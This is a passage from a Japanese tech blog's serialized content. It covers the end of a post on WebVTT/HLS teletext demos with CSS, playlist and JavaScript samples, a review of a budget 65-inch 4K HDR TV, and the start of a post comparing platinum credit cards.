transparent;\"></iframe>\n\nWebVTTには、テキストにタイムスタンプタグを打ち込むことによって、動画の時間と同期してタグの前後に属性の変化が起こります。それを用いて、CSSで色付けをおこなうことで、カラオケのように時間に沿った文字の変更をJavaScriptなしで実現しています。\n\n```css\nvideo::cue {\n font-family: 'Hiragino Kaku Gothic ProN';\n}\nvideo::cue(.title), video::cue(:past), video::cue(:future) {\n font-family: 'Hiragino Mincho ProN';\n}\nvideo::cue(.title) {\n color: lightblue;\n font-size: 1.6em;\n}\nvideo::cue(:past) {\n color: red;\n}\nvideo::cue(:future) {\n color: white;\n}\n```\n\nタイムスタンプタグのある`::cue`擬似要素には`:future`擬似クラスが当てられ、指定した時刻をすぎるとそれ以前の部分には`:past`に変化します。それぞれの擬似クラスに対して文字色を指定することで、このようにカラオケ風な表示をしています。\nドラフト仕様のためか、タイムスタンプタグの擬似クラスを適用するには要素で囲む必要があるようで、`<c>`スパンタグで囲んでますが、これのせいもあって作るのに半日かかりました。\nしかしJavaScriptなしでこのような面白い表現ができるのは、Webメディアにおけるテレテキストの未来を感じさせてくれること間違いなしですね。\n\n## EXAMPLE 3 -LIVE comment-\n\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/key/pEWSFoKd193PBq?startSlide=16\" width=\"595\" height=\"485\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen> </iframe> <div style=\"margin-bottom:5px\"> <strong> <a href=\"//www.slideshare.net/mzyy94/teletext-95201437\" title=\"# TELETEXT\" target=\"_blank\"># TELETEXT</a> </strong> from <strong><a href=\"//www.slideshare.net/mzyy94\" target=\"_blank\">Yuki Mizuno</a></strong> </div>\n\n最後に紹介したのは背景に流した動画にテレテキストを取得させ、スライド上にライブコメントを流すというもの。プレゼンテーション中に[#streamingconf](https://twitter.com/hashtag/streamingconf)で呟かれたものを取得して流していましたが、ツイ廃のせいか、Twitter APIを叩くと頻繁に**420 Exceeded connection limit for user**エラーが出て取得がうまくいかなかったりしていました。\nストリーミング勉強会での発表なので上記2つのようなオンデマンド配信に対するテレテキストのデモだけではなく、ストリーミング動画に対してもテレテキストは面白い使い方ができるということをご紹介した形となります。\nこのデモでは前途の通り動画中にテレテキストを表示するのではなく、動画からとりだしてJavaScriptでHTML要素としてスライド中に表示しました。\nSlideshareにあげたスライド15ページ目で紹介したのですが、残念ながらライブであるという都合に加え背景動画のPDF化ができなかったため、実際の表示は想像で補ってください。\n\nWebでの動画ストリーミングの形式はいろいろあるのはご存知の通りですが、今回はSafariでプレゼンテーションを行ったため、[HLS](https://tools.ietf.org/html/rfc8216)を用いてコメントを流しました。\nHLSではビデオやオーディオだけではなく、テレテキストもストリーミングできるというのは意外と知られていなかったりします。しかもライブで。\n\n配信方法はHLSの動画をセグメント単位で切り出して行うのと同様に、メディアプレイリストを作成してテレテキストもセグメント単位で送り出してあげることでできます。\n\n\n\nHLSの仕様でも[WebVTTが扱えることが記されて](https://tools.ietf.org/html/rfc8216#section-3.5)おり、動画とタイミングを同期するため、`X-TIMESTAMP-MAP`メタデータをWebVTTに追記することなどが書かれています。\nいろいろ試行錯誤した結果、このメタデータの指定にはMPEG-2 timeを記載する必要があるのと、ライブで字幕を取得するためには動画セグメントが等間隔でないとうまくいかなかったりしたので、今回はfMP4ではなくMPEG-TSでの配信をしました。\nほんとはHEVC使いたかったんだけどね。\n動画は事前に撮影したものをエンコードし、[mediafilesegmenter](https://developer.apple.com/streaming/)でちょうど4秒ごとにTSに切り出したものを、Liveでプレイリストに入れて読み込むようにしておきました。\n\n各プレイリストとWebVTTは以下のような感じで配信していました。バックエンドはGoで、[mux](https://github.com/gorilla/mux)と[anaconda](https://github.com/ChimeraCoder/anaconda)と[m3u8](https://github.com/grafov/m3u8)を用いています。\n\n### master.m3u8\n```yaml\n#EXTM3U\n#EXT-X-VERSION:6\n#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID=\"tweet\",NAME=\"Tweet\",DEFAULT=YES,AUTOSELECT=YES,LANGUAGE=\"ja\",URI=\"subtitle.m3u8\"\n#EXT-X-STREAM-INF:PROGRAM-ID=0,BANDWIDTH=1024000,SUBTITLES=\"tweet\"\nmedia.m3u8\n```\n\n### media.m3u8\n```yaml\n#EXTM3U\n#EXT-X-VERSION:3\n#EXT-X-MEDIA-SEQUENCE:28\n#EXT-X-TARGETDURATION:4\n#EXTINF:4.000,\nts/segment28.ts\n#EXTINF:4.000,\nts/segment29.ts\n#EXTINF:4.000,\nts/segment20.ts\n```\n\n### subtitle.m3u8\n```yaml\n#EXTM3U\n#EXT-X-VERSION:7\n#EXT-X-MEDIA-SEQUENCE:28\n#EXT-X-TARGETDURATION:4\n#EXTINF:4.000,\nsub/segment28.vtt\n```\n\n### segment28.vtt\n```r\nWEBVTT\nX-TIMESTAMP-MAP=MPEGTS:900000,LOCAL:00:00:00.000\n\nNOTE start 1m52s -> 1m56s\n\n00:01:53.686 --> 00:01:54.686\nエンジニア引退しよ...\n\n00:01:53.796 --> 00:01:54.796\n退職しました\n\n00:01:54.922 --> 00:01:54.922\nあ〜水素の音〜〜\n\n00:01:55.078 --> 00:01:56.078\nアイドル相手の示談金いくらだろう\n億とかもらえるのかな\n\n```\n\nHTMLで`<video src=\"live/master.m3u8\" playsinline muted autoplay></video>`と書くだけで、HLSが勝手に動画とテレテキストを4秒間隔で取得してきてくれます(Safariでのみ確認済み)。\nそう、JavaScriptでコメントを逐一読み込みに行かなくても、ブラウザ側が勝手に読み込んでくれるのです。WebSocketもXHRも使わずに(ただし完全なリアルタイムではなく、今回は4秒の遅延が生じている)。\n\nスライド9ページ目で紹介した通り、WebVTTはVideo要素で扱えるDOM APIが提供されています。それを叩いて動画で表示されるテレテキストをDOMに引っ張ってきて、スライドの上にコメントを流すようにしていました。\n\n```javascript\ndocument.querySelector('video#bg').addEventListener('play', function() {\n const {textTracks} = this // WebVTT track\n if (textTracks.length != 1) {\n console.error(\"Error: %s\", \"WebVTT track loading failed.\")\n return\n }\n const textTrack = textTracks[0]\n // Set visibility to hidden on video.\n textTrack.mode = 'hidden'\n // WebVTT DOM API event 'cuechange'\n textTrack.addEventListener('cuechange', function() {\n // textTrack.activeCues includes current active subtitle text and more.\n [...this.activeCues].forEach(cue => {\n const {text} = cue\n // Duplication check\n if ([...document.querySelectorAll('.comment')].filter(c => c.innerText == text).length) {\n // Duplicated comment will not be shown.\n return\n }\n document.querySelectorAll('.comment').forEach(c => {\n const rect = c.getBoundingClientRect()\n if (rect.left + rect.width < 0) {\n // Clear invisible comment from DOM.\n c.parentElement.removeChild(c)\n }\n })\n // Get all comment lines of visible comments.\n const commentLines = [...document.querySelectorAll('.comment')].map(c => c.style.animationName)\n // Find available comment line on view.\n const available = [...Array(12)].map((_,i) => `line${i}`).filter(l => !commentLines.includes(l))\n if (!available[0]) {\n // No placeable comment line available; skip this comment\n return\n }\n const s = document.createElement('span')\n s.className = 'comment'\n s.innerText = text\n s.style.animationName = available[0]\n document.querySelector('#screen').append(s)\n })\n }, false)\n})\n```\n\n## まとめ\n\nいかがでしょうか。テレテキストの可能性や重要性に気づいてもらえたら嬉しいです。\nもっと字幕放送を使ったWebストリーミングサービスが増えたらいいな。\n"]}],[0,{"slug":[0,"2018/11/29/lowcost-65-4k-hdr-tv/"],"data":[0,{"title":[0,"格安65インチ4K/HDRテレビが届いたのでレビュー"],"date":[3,"2018-11-28T22:00:00.000Z"],"image":[0,"/assets/images/2018/11/29/P1021487.JPG"],"author":[0,"mzyy94"],"categories":[1,[[0,"Display"]]],"tags":[1,[[0,"4k"],[0,"hdr"],[0,"tv"],[0,"hardware"],[0,"ips"]]]}],"content":[0,"\n兼ねてから発売したら購入しようと決めていたNVIDIAの4K HDR 65インチディスプレイ、[BIG FORMAT \nGAMING DISPLAYS(BFGD)](https://www.nvidia.com/ja-jp/geforce/products/big-format-gaming-displays/)が夏に発売される[^1]と言われ夏が過ぎ、秋が来て、冬が迫る11月上旬。\nアイリスオーヤマから[プライベートブランド](https://ja.wikipedia.org/wiki/%E3%83%97%E3%83%A9%E3%82%A4%E3%83%99%E3%83%BC%E3%83%88%E3%83%96%E3%83%A9%E3%83%B3%E3%83%89)で4K HDR 65インチテレビが発売されると報じられた。\n\n[黒物家電事業に新規参入 4K・HDR対応※液晶テレビ「LUCAシリーズ」7機種を発売|2018年|ニュース|企業情報|アイリスオーヤマ](https://www.irisohyama.co.jp/news/2018/1105.html)\n\nこのニュースリリースをみても食指が動かなかったが、それは主に148,000円(税抜)といった価格にプライベートブランドの強みを感じなかったところが理由の大半を占めるだろう。この価格では[ハイセンス](https://www.amazon.co.jp/%E3%83%8F%E3%82%A4%E3%82%BB%E3%83%B3%E3%82%B9-65V%E5%9E%8B-65A6500-%E5%A4%96%E4%BB%98%E3%81%91HDD%E8%A3%8F%E7%95%AA%E7%B5%84%E9%8C%B2%E7%94%BB%E5%AF%BE%E5%BF%9C-HDR%E5%AF%BE%E5%BF%9C/dp/B07FP3CYDQ/ref=sr_1_5?s=electronics&ie=UTF8&qid=1543316855&sr=1-5&tag=mzyy-22)や[LG](https://www.amazon.co.jp/LG-65UK6500EJD-HDR%E5%AF%BE%E5%BF%9C-%E3%82%A8%E3%83%83%E3%82%B8%E5%9E%8BLED-IPS%E3%83%91%E3%83%8D%E3%83%AB/dp/B07DX5NTCT/ref=sr_1_4?s=electronics&ie=UTF8&qid=1543316855&sr=1-4&tag=mzyy-22)の4K HDR 65インチテレビと争えないように見える。\n\nそれから一週間後、今度はグリーンハウスから4K HDR 65インチテレビが発売されると発表があった。\n\n[ディスカウントストアMrMax独占販売!大画面4K/HDR対応65型液晶テレビを新発売 8万円を切る超破格値の「79,780円(税抜)」! ~オンラインショップにて11月15日(木)より予約開始! ~ \\| GREEN HOUSE グリーンハウス](https://www.green-house.co.jp/news/2018/r1113a/)\n\n独占販売というからには販路や生産・供給はプライベートブランドと同様であるが、ある程度の知名度があるグリーンハウスのロゴを背負って登場した。\nこの製品、メーカーロゴやスタンド部など細部が異なるものの、同一のOEMであると断定しても過言ではないほど、アイリスオーヤマのLUCAシリーズ65インチと同じ製品なのだ(後述)。\n唯一の大きな違いは、リリースタイトルに入れてしまうほど自信があると伺える価格だろう。アイリスオーヤマのLUCAシリーズ65インチと比較して46%安い。\n発売は揃えたかのように11月下旬となっている。\n\nそもそも65インチの4K/HDRディスプレイが欲しかったのは、デスクで利用している[42インチ4Kディスプレイ](../2016/2016-01-10-42inch-4k-display.md)ではゲームやApple TV 4Kでの映像コンテンツの視聴の迫力に欠けていたから。\nPCと接続して作業するには十分だが、このサイズではリビングに座ってゆっくりと映像を見るには向かない。なにより1m〜2mほど距離をとって見るときに42インチでは小さく、文字情報が細かくなって視聴が苦しくなって来たのが大きな理由である。\nBFGDが一向に発売される気配がなく、渋々ちいさなディスプレイで我慢しようとしてた矢先、65インチの4K/HDRテレビが**低価格で**発売されるという知らせを耳にしたため、人柱覚悟で購入した。\n\nというわけで、BFGDが発売されるまでのつなぎとして格安4K/HDR 65インチテレビを購入したので軽くレビュー。\n\n## 目次\n\n\n## 商品情報\n\n### 仕様\n\n- GREEN HOUSE: [テレビ \\| GH-TV65G-BK \\| GREEN HOUSE グリーンハウス](https://www.green-house.co.jp/products/gh-tv65g/#spec)\n- アイリスオーヤマ: [LT-65A620 4K対応テレビ 65V型\\|テレビ本体\\|アイリスオーヤマ](https://www.irisohyama.co.jp/products/av/tv/lt-65a620.html)\n\n一目瞭然で二つが同じ製品であるとわかる。\n面白いほどに同じ仕様が並んでおり、リモコンの形状まで同じというのが風情を醸し出している。\nサイズ表記で奥行きが異なるため、スタンドに違いがある可能性あり。\n機能面ではHDD録画対応のWチューナーでインターネット動画配信サービスの搭載はなし(もちろん共通)。\nApple TV 4Kがあるのでテレビ以上の付加機能はいらないのでちょうどよかった。\n\n### 説明書\n\n- GREEN HOUSE: [GH-TV65G-BK_v1_0.pdf](https://www.green-house.co.jp/book/tv/GH-TV65G-BK_v1_0.pdf)\n- アイリスオーヤマ: [572722.pdf](https://www.irisohyama.co.jp/products/manual/pdf/572722.pdf)\n\n若干アイリスオーヤマの方が丁寧に作られている。HDMI入力モードのモード1とモード2の違いは、グリーンハウスのものではわからなかった。設定を変更する際は、両方の説明書を見比べながら使うのがおすすめ。\n\n### 販売ページ\n\n- GREEN HOUSE: [グリーンハウス 4K対応65V型液晶テレビGH-TV65G-BK(※基本送料3,618円税込)お支払合計89,780円(税込)※配送会社より後日連絡が入りますので、配達日についてはその際にお打ち合わせください。: オンラインストア](http://shop.mrmax.co.jp/shop/g/g4511677117626/)\n- アイリスオーヤマ: [LUCA 4K対応テレビ 65インチ LT-65A620 ブラック ※12月上旬以降発送予定 H572722F│アイリスプラザ│アイリスオーヤマ公式通販サイト](https://px.a8.net/svt/ejp?a8mat=2ZU6NE+198YR6+CHG+BW0YB&a8ejpredirect=https%3A%2F%2Fwww.irisplaza.co.jp%2Findex.php%3FKB%3DSHOSAI%26SID%3DH572722F)\n\n違うのは価格くらい。どちらも税抜きでだが、GREEN HOUSEの方は送料で4000円弱取られる。ただ、今回の購入ではSGムービングでの手配で、なんと設置までしてくれた。アイリスオーヤマは送料は無料だが、設置は別途有料となっている(執筆時)。また、アイリスオーヤマは直販で購入することで無料で2年間の保証がつくが、GREEN HOUSEはというと4000円強で5年保証を追加できる。\n\n## レビュー\n\nネットの情報を見るだけなら誰でもできることなので、実際に実物を手にしてわかったことなど。画像はすべて[Panasonic GH5](https://www.amazon.co.jp/%E3%83%91%E3%83%8A%E3%82%BD%E3%83%8B%E3%83%83%E3%82%AF-%E3%83%9F%E3%83%A9%E3%83%BC%E3%83%AC%E3%82%B9%E4%B8%80%E7%9C%BC%E3%82%AB%E3%83%A1%E3%83%A9-%E3%83%AB%E3%83%9F%E3%83%83%E3%82%AF%E3%82%B9-%E3%83%96%E3%83%A9%E3%83%83%E3%82%AF-DC-GH5-K/dp/B01N25UZTN/ref=sr_1_5?ie=UTF8&qid=1543391704&sr=8-5&tag=mzyy-22&th=1)で撮影。\n\n### 外観\n\n\n\n\nでかい。左下のApple TV 4Kが小さく見える(実際小さい)。\n今回はアイリスオーヤマの方を買わなかったが、テレビ台はアイリスオーヤマの[ボックステレビ台 BAB-150](https://px.a8.net/svt/ejp?a8mat=2ZU6NE+198YR6+CHG+BW0YB&a8ejpredirect=https%3A%2F%2Fwww.irisplaza.co.jp%2Findex.php%3FKB%3DSHOSAI%26SID%3DK250163F)。幅がちょうど良すぎる。\n\n### 音\n\nこれまた予想以上にでかい。初回起動時は集合住宅なら近所迷惑になるレベル。静かな部屋で一人で視聴する場合は、100段階中の10くらいがちょうどいいくらい。\n音質は可もなく不可もなく。何もこだわりもないテレビのスピーカーという感じ。サラウンドやピュアオーディオを極める人からしたら論外だろうが、映像をメインに視聴する分には事足りる。\n\n### パネル\n\n#### 視野角\n\n仕様通り、特に劣ることなくIPSパネルなりの表現だったので撮影せず。一般的なディスプレイと変わりないと言える。\n\n#### サブピクセル\n\n低価格4Kではまず最初にコストカットされる点であるRGBサブピクセル。白い画像を表示させて撮影し、ピクセルが見えるまで拡大したのが以下。\n\n\n\n\n予想通りRGBWなので妥協点。\n\n[What is RGBW TV? – Samsung Global Newsroom](https://news.samsung.com/global/what-is-rgbw-tv)\n\n#### 発光\n\n白(#ffffff)を一面に表示した状態を撮影した。\n\n\n\n直下型LEDを搭載しているだけあって、エッジ型のような中心が暗くなるような明るさのムラは出ていない。ただ、お世辞にも素晴らしいとはいえない。\n\n### 画質\n\n\n#### 発色・色合い・色ムラ\n\n\nまず[Test Card ╌ vah.dy.fi](http://vah.dy.fi/testcard/)のテストチャートをダウンロードして表示させたものを撮影した。\n\n\n\n目立つ色ムラはなさそう。\n\n続いて[Our definitive guide to the perfect TV picture set... - Sony](https://community.sony.co.uk/t5/how-tos-faqs-tvs-home-cinema/our-definitive-guide-to-the-perfect-tv-picture-settings/ba-p/1968909)のテストチャートも試してみた。\n\n\n\n若干色調にあやしいところがある様子。\n\nあとはRTINGS.comが[Gradients on TVs: Color bit depth - RTINGS.com](https://www.rtings.com/tv/tests/picture-quality/gradient)でテストしてるグラデーションテストの画像を表示させてみた。\n\n\n\n目で見てわかる帯はなく、きめ細やかな階調をしてるが、RGBWなので間近で見ると鮮明さには欠けている。\n\n#### HDR\n\n[Peak Brightness of TVs: Max luminosity and HDR highlights - RTINGS.com](https://www.rtings.com/tv/tests/picture-quality/peak-brightness)にHDRテスト用の素材はあるものの、はっきりとした違いを見比べるのが困難だったため、実際の4K HDRコンテンツを購入して視聴してみた。\n\niTunesで販売されている4K HDRコンテンツは最近の話題の映画が中心だが、ほとんどは映画館でみてしまっていた。唯一気になっていて見そびれていたオーシャンズ8がHDR対応であったのでそれにした。\n\n<a href=\"https://tv.apple.com/movie/%E3%82%AA%E3%83%BC%E3%82%B7%E3%83%A3%E3%83%B3%E3%82%B9-8/umc.cmc.45tdpugrl6s7n2raxytlj4g92?itsct=tv_box_badge&amp;itscg=30200&amp;at=1l3v4mQ\" style=\"display: inline-block; overflow: hidden; border-radius: 13px; width: 250px; height: 83px;\"><img src=\"https://tools.applemediaservices.com/api/badges/get-it-on-apple-tv/badge/ja-jp?size=250x83&amp;releaseDate=1533859200&h=7d9e49d71a7c1e6c19aabf0ee5edb08b\" alt=\"Get it on Apple TV\" style=\"border-radius: 13px; width: 250px; height: 83px;\"></a>\n\n\nこの映像の中で明暗が綺麗に出るシーンが20分18秒時点にあったので、この位置の映像を撮影。Apple TV 4Kの設定からSDRとHDRを切り替え、テレビの画面表示ボタンでレンジが切り替わってるのを確認してそれぞれ見比べてみた。\n\n**SDR**\n\n<img src=\"/assets/images/2018/11/29/P1021475.JPG\" alt=\"SDR test\" id=\"sdr-test\">\n\n**HDR**\n\n<img src=\"/assets/images/2018/11/29/P1021479.JPG\" alt=\"HDR test\" id=\"hdr-test\">\n\n**difference**\n\n<canvas id=\"swipe-diff\"></canvas>\n<script>\n(function(canvas, before, after) {\n before.onload = function() {\n var cw = before.naturalWidth;\n var ch = before.naturalHeight;\n canvas.width = cw;\n canvas.height = ch;\n canvas.style.maxWidth = '100%';\n var odd = true;\n var ctx = canvas.getContext(\"2d\");\n ctx.font = \"bold 128px sans-serif\";\n ctx.fillStyle = \"white\"; \n setInterval(function() {\n ctx.drawImage(odd ? before : after, 0, 0);\n ctx.fillText(odd ? \"SDR\" : \"HDR\", 100, 200);\n odd = !odd;\n }, 1000);\n }\n})(\ndocument.getElementById('swipe-diff'),\ndocument.getElementById('sdr-test'),\ndocument.getElementById('hdr-test'));\n</script>\n\n\nHDRの方が白飛びが少なく、Kカラーのダイヤモンドがわずかに綺麗に見えていたので、価格なりのHDR機能は搭載しているみたい。\n\n#### クロマ(4:2:2、モード1・2切り替え)\n\nいろいろ試して撮影してみたものの、違いがつかめず正直よくわからなかった。\nなので割愛。\n\n### 映像遅延\n\nフレーム単位で計測してみようと思ったものの、微妙なフレームとフレームの間を計測できないので簡易的なもので計測。\n[https://stopwatch.onl.jp/](https://stopwatch.onl.jp/) を開いたMacBook Pro(15-inch, 2017) High SierraをHDMI接続し、テレビに解像度を合わせる形でミラーリングして表示。並べて撮影して秒数の差を5回計測した。\n\n**4K@30**\n\n\n\n5回計測して平均は126.4msec。\n\nさすがにオンラインアクションゲームとかは話にならないだろう。\n\n**1080p@60**\n\n\n\n5回計測して平均は34.0msec。\n\n2フレームの遅延だが、コンシューマーゲーム機を大画面で遊ぶ用途ならまだ許容できる。\n\n\n### 操作系\n\nリモコンの反応が鈍い。映像の遅延のせいだろうか。CEC対応でApple TV 4Kがそのまま操作できるが、反応が鈍いのでSiri Remoteを使った方が快適。\n\n## まとめ\n\nこの値段でこれなら当初の目的通り、BFGDへのつなぎとしてのメディア視聴専用として割り切って使う分にはいい買い物をしたかなという感想。\n様々な情報からアイリスオーヤマの方と同じ製品と断定して良さそうだが、もしかすると些細な違いがあるかもしれない点だけ注意されたし。\n\n\n---\n\n[^1]: [[COMPUTEX]NVIDIAの大画面液晶ディスプレイ「BFGD」は今夏の終わり頃に発売。ゲーマー向けGeForce新製品は「必ず出す」とHuang氏 - 4Gamer.net](https://www.4gamer.net/games/236/G023686/20180604007/)\n"]}],[0,{"slug":[0,"2019/03/22/platinum-card/"],"data":[0,{"title":[0,"金属製プラチナカード"],"date":[3,"2019-03-22T13:30:00.000Z"],"image":[0,"/assets/images/2019/03/22/platinums.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Credit Card"]]],"tags":[1,[[0,"cashless"],[0,"platinum-card"]]]}],"content":[0,"\n平成も末。キャッシュレス全盛期と言われる2019年の今、現金は次第にレガシーなものとなりつつあります。\nそれを象徴するかのように、世には利用者を混乱させるほどの数のQRコード・バーコード決済がはびこり、混沌な様相を見せていますね。\n混沌かつ脆弱なコード決済とは距離を置き、[QUICPay](https://www.quicpay.jp/)や[iD](https://id-credit.com/index.html)などの安全な非接触型決済やクレジットカードを直接使う接触型決済をつかってます。\n小銭を持つのがきらい。あとポイントとかもらえるし。\n\nそんな理由でクレジットカードばかり使うようになり、どうせ持つならかっこいいカードが欲しいと思って、プラチナカードのコレクションしてます。\nプラチナカード、名前だけでやばい。かっこいい。\nそしてつい先日、手が滑ってかっこいいプラチナカードを手に入れたので所有欲が満たされ、ついでに手持ちのかっこいいカードの他にはない点に重きを置いて比較をしようと思い立ち、この記事を書いている次第です。\nいつものごとくまともな記事じゃないので、ブラウザバックするひとは今のうちにどうぞ。\n\n## 目次\n\n\n\n## プラチナカードとは\n\nググれば情報はいくらでも出てくるものの、検索結果に出るのは**アフィリエイトブログみたいな身のないものばかり**なので一応簡単に説明を。\n\nプラチナカードという単語は一般的に、ゴールドカードの上位のクレジットカードを指す総称ですが、プラチナ・カード&reg; はアメリカン・エキスプレスが商標登録しています。\n\n[商標 - クレジットカードはアメリカン・エキスプレス(アメックス)](https://www.americanexpress.com/japan/legal/security/trademarks.shtml)\n\nまあそんなことはどうでもよく、ここではプラチナカードとして一般的にゴールドカードの上のクレジットカードのこととして称します。\n\nクレジットカードについては説明することはないですね。Wikipediaでもみてください。\n非常にレガシーな決済手段です。150年も続いてる仕組みらしいですからね。カード表面が盗み見られたら不正使用されうる仕組みとか狂ってる。脆弱の極み。\n\n[クレジットカード - Wikipedia](https://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%AC%E3%82%B8%E3%83%83%E3%83%88%E3%82%AB%E3%83%BC%E3%83%89)\n\nただ、ここで紹介しておく必要がある単語が2つあり、それは **「プロパーカード」** と **「提携カード」**。\nこれまたWikipediaにも書いてあるものの、プロパーカードとは簡単に言えばカードの決済ブランド(VISAとかJCBとか)と発行会社が同じカードのこと。\n提携カードとは発行会社が異なるもの。楽天カードとかエポスカードとか。\n提携カードのプラチナカードはあまりプラチナみがなかったりします(名ばかりプラチナ)。なのでコレクション対象には入れてません。\n\n[提携カード - Wikipedia](https://ja.wikipedia.org/wiki/%E6%8F%90%E6%90%BA%E3%82%AB%E3%83%BC%E3%83%89)\n\nさて、一般的に年会費の高額なプラチナカードには以下のような特典が各社共通で付いていたりします(若干誤差あり)。\n\n- レストラン2名以上の利用で1名分無料\n- [プライオリティ・パス](https://www.prioritypass.com/ja/airport-lounges)なるかっこいい名前の空港ラウンジ入場カード\n- 国内・海外旅行保険\n- 家族カード年会費無料\n- コンシェルジュという名前の電話相手(いつでも丁寧に相手してくれる)\n\nどのプラチナカードもこれらの特典は被ってるので、正直な話、こういった特典目当てならプラチナカード一枚だけ持ってれば十分です。\n\nあとはゴルフ保険とかですかね。\nゴルフを嗜むことがなかったので存じ上げなかったものの、ホールインワンした本人が[参加者全員に奢ることになる古びた習慣](https://ja.wikipedia.org/wiki/%E3%82%B4%E3%83%AB%E3%83%95%E3%82%A1%E3%83%BC%E4%BF%9D%E9%99%BA#%E3%83%9B%E3%83%BC%E3%83%AB%E3%82%A4%E3%83%B3%E3%83%AF%E3%83%B3%E4%BF%9D%E9%99%BA)がこの世にはあるらしく、そんな珍事に対応したゴルフ保険なんて時代遅れの代物が付帯されてたりします。\nレガシーさが滲み出ててますね。\n\nだいたいプラチナカード持つような人の本来の目的はこういった特典ではなく、「ステータス」なる目には見えない希少な価値(?)を手に入れるためらしいですね。なんだそれ。\n\n## JCBプラチナ\n\n\n\n引用元: [https://www.jcb.co.jp/promotion/ordercard/platinum/](https://www.jcb.co.jp/promotion/ordercard/platinum/)\n\n\n**[https://www.jcb.co.jp/promotion/ordercard/platinum/](https://www.jcb.co.jp/promotion/ordercard/platinum/)**\n\n\n- 年会費: 25,000円(税別)\n- 標語: 「未来を愉しむ人へ」JCBプラチナ\n- 入会方法: 新規申し込み\n- 重さ: 約5.2g\n\nさて、1枚目の紹介。残念ながらこれは表題とは違い、プラスチック製。持ってるプラチナカードの中で一番軽い。\n標語は推敲に時間がかかったことが伝わる感じがあり、趣がありますね。\nカードは黒ベースに銀のキラキラが付いていて、素材はPPかなにかです。ヘビーユースすると券面がすれて文字がかすれてきます。\n年会費が安いからしょうがない。税込27,000円。1日あたり74円です。実質無料。\n\n### 重さ\n\n\n\n重さは約5.2g。軽いため、ズボンのポケットに入れっぱなしになったまま洗濯したことがあるくらい気づかない。そんなんでいいのかプラチナカード。\n\n\n### メリット\n\n前途の各社共通の特典に加えて、以下のような特典があります。\n\n- [ユニバーサル・スタジオ・ジャパン ザ・フライング・ダイナソー ラウンジ](https://www.jcb.jp/brand/sponsorship.html#usj)\n\nUSJでザ・フライング・ダイナソーに並ばず乗れるやつです。年会費がやすいからこれくらいでしょう。\nあとは貯まったポイントが使いやすいのもメリットかも。\n\n\n### ステータス\n\n申し込み制だしあまりないんじゃないですかね。\nキャッシュフローちゃんとできますアピールができるくらい?\n\n\n## LUXURY CARD Mastercard® Titanium Card™\n\n\n\n引用元: [https://www.luxurycard.co.jp/titaniumcard](https://www.luxurycard.co.jp/titaniumcard)\n\n\n**[https://www.luxurycard.co.jp/](https://www.luxurycard.co.jp/)**\n\n- 年会費: 50,000円(税別)\n- 標語: Going Places℠ まだ見ぬ世界へ。\n- 入会方法: 新規申し込み\n- 重さ: 約22.5g\n\n注目の国内初の申し込み制金属カード。\nこれはプロパーカードではないんですが、Mastercard®はプロパーカードを発行していない点、そしてMastercard®のランクのうち最上位のカードがこれである点から、コレクション対象にしました。ほぼプロパーカードのプラチナカード。\n\n[ワールドエリートMastercard®カード \\| Mastercard®](https://www.mastercard.co.jp/ja-jp/consumers/find-card-products/credit-cards/world-elite.html)\n\n標語、これもまたかっこいい。こんなことイケメンに言われたら惚れる。まだ見ぬ世界を見せて!ってなっちゃう。\n[Mastercard®コンタクトレス](https://www.mastercard.co.jp/ja-jp/consumers/features-benefits/contactless.html)はついていません。残念。\n新規申し込みが誰でもできますが、カード保有者に紹介されて申し込むとなんか特典があったりします。これは他のプラチナカードもおなじだけど。\n\n### 重さ\n\nチタンカードという名前なのにカードの素材はステンレス。騙された。でもかっこいいからOK。\n持ってるプラチナカードの中で一番重い。かっこいい。OK。\n\n\n\n\n重さは約22.5g。ステンレスなりの適度な重さがあってよい。落としたときの金属音がすき。\nおかげで無くさないで済む。\n\n\n### メリット\n\n各社共通の特典に加え、\n\n- 毎月TOHOシネマの鑑賞チケットがもらえる\n- 新生銀行の各種手数料が一部無料\n\nといった特典があるくらいです。映画を見るきっかけ作りにはちょうどいい感じ。\n\n### ステータス\n\nTitanium Card™にはステータスなんてないんじゃないですかね。\n新しいもの好きの称号は得られそう。\n上位のMastercard® Gold Card™なら、年会費20万円を払う余裕があると周りから見てもらえる程度のステータスは得られるかも。\nというかステータスってなんやねん。\n\n\n## アメリカン・エキスプレス プラチナ・カード®\n\n\n\n引用元: [https://www.americanexpress.com/jp/benefits/product/rcp-platinum/platinum-overview.html](https://www.americanexpress.com/jp/benefits/product/rcp-platinum/platinum-overview.html)\n\n\n**[https://www.americanexpress.com/jp/credit-cards/platinum-card/](https://www.americanexpress.com/jp/credit-cards/platinum-card/)**\n\n- 年会費: 130,000円(税別)\n- 標語: 最高の瞬間をあなたに。\n- 入会方法: 招待\n- 重さ: 約17.7g\n\n昨年末から金属製に切り替わったプラチナカード。適度に使っていたアメックス ゴールドカードを持ってた信用からか、券面のかっこよさから面白半分で申し込んだところ、5秒くらいで審査が終わって即座に発行され、ぼーっとしてる間に年会費14万円の支払い義務を追うことになってしまったカード。\nとは言えど、年会費140,400円ってことは1日あたり400円弱。五百円玉貯金を毎日してれば実質無料です。むしろ100円儲かってるくらい。\n標語はもう最高。最高すぎて最高って書かれてるくらい最高。\n\n### 重さ\n\n表面にカード番号がないので修正が少なくて済む。良い。\nただ、[CID](https://ja.wikipedia.org/wiki/%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%82%B3%E3%83%BC%E3%83%89)が表面に書いてある点はそのままなのは謎。\n\n\n\n重さは約17.7g。年会費140,400円(消費税8%込み)を質量で割ると1グラムあたり7,932円。純金の相場よりはるかに高い。そりゃそうか。プラチナカードなんだもの(謎)。\n\n\n### メリット\n\n前途の各社共通の特典に加えて、以下のような特典があります。\n\n- 毎年ホテルの宿泊券がもらえる\n- 各種ホテルの上級会員資格\n- [スターアライアンスのゴールド会員](https://www.staralliance.com/ja/recognition)(ステータスマッチ・一年間のみ)\n\n特典の中で何が一番いいって言われたら真っ先に答えるのが、スターアライアンスのゴールド会員へのステータスマッチ。\nこれのためだけに14万払ってる人もいるんじゃないってくらいのもの。\nシャングリ・ラ 